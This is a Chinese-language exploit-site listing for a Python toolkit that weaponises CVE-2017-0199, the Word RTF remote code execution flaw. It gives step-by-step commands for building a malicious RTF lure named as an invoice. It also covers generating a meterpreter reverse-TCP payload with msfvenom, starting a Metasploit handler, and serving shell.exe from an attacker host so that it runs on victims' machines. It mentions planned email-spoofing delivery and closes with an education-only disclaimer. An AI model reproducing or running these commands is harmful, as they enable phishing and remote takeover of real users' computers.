Sploitus

Exploit for CVE-2017-0199

kitploit · 2026-08-25

Exploit Code

MARKDOWN125 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EXPLOIT-INSTALL-CVE-2017-0199
## 漏洞利用工具包 CVE-2017-0199 - v2.0

漏洞利用工具包 CVE-2017-0199 - v2.0 是一个方便的 Python 脚本,提供快速有效的方法来利用 Microsoft RTF RCE。它可以生成恶意 RTF 文件,并将 metasploit / meterpreter 载荷传递给受害者,而无需任何复杂配置。

### 视频教程

https://youtu.be/42LjG7bAvpg

### 发布说明:

脚本引入了以下功能

root@kitploit:~
    
    
    - 使用工具包生成恶意 RTF 文件
    - 以微型 HTA + Web 服务器模式运行工具包进行利用
    

版本:Python 版本 2.7.13

### 未来版本:

正在开发以下功能

root@kitploit:~
    
    
    - 通过电子邮件欺骗自动将生成的恶意 RTF 发送给受害者
    	
    

### 示例:

  * 步骤 1:使用以下命令生成恶意 RTF 文件并发送给受害者

root@kitploit:~
        
        语法:
        
          # python cve-2017-0199_toolkit.py -M gen -w <文件名.rtf> -u <http://攻击者.com/test.hta>
        
          示例:
        
          # python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc
        

  * 步骤 2(可选,如果使用 MSF 载荷):生成 metasploit 载荷并启动处理程序

root@kitploit:~
        
        示例:
        
          生成载荷:
        
          # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
        
          启动处理程序:
        
          # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
        

  * 步骤 3:以利用模式启动工具包以传递载荷

root@kitploit:~
        
        语法:
        
          # python cve-2017-0199_toolkit.py -M exp -e <http://攻击者.com/shell.exe> -l </tmp/shell.exe>
        
          示例:
        
          # python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
        




### 命令行参数:

root@kitploit:~
    
    
    # python cve-2017-0199_toolkit.py -h
    
    这是一个方便的工具包,用于利用 CVE-2017-0199(Microsoft Word RTF RCE)
    
    模式:
    
    -M gen                                          仅生成恶意 RTF 文件
    
         生成恶意 RTF 文件:
    
          -w <文件名.rtf>                   恶意 RTF 文件的名称(将此文件共享给受害者)。
    
          -u <http://攻击者.com/test.hta>   指向 hta 文件的路径。通常,这应该是运行此工具的域名或 IP。
    
                                                 例如,http://攻击者ip.com/test.hta(该 URL 将包含在恶意 RTF 文件中,并
    
                                                 在受害者打开恶意 RTF 文件时被请求)。
    -M exp                                          启动利用模式
    
         利用:
    
          -p <TCP 端口:默认 80>            本地端口号。
    
          -e <http://攻击者.com/shell.exe>  需要在目标上执行的可执行文件 / meterpreter shell / 载荷的路径。
    
          -l </tmp/shell.exe>                可执行文件 / meterpreter shell / 载荷的本地路径(如果载荷托管在本地)。
    

### 免责声明

本程序仅供教育目的使用。未经许可请勿使用。通常的免责声明适用,尤其是本人(bhdresh)不对直接或间接使用这些程序提供的信息或功能所造成的任何损害负责。作者或任何互联网提供商对这些程序或其任何衍生品的内容或误用不承担任何责任。使用本程序即表示您接受,因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统受损等)均非 bhdresh 的责任。

### 致谢

@nixawk 提供 RTF 样本,@bhdresh

### 错误、问题、功能请求

显然,我不是全职开发者,所以会遇到一些问题。

请将错误和问题报告至 some-email@example.com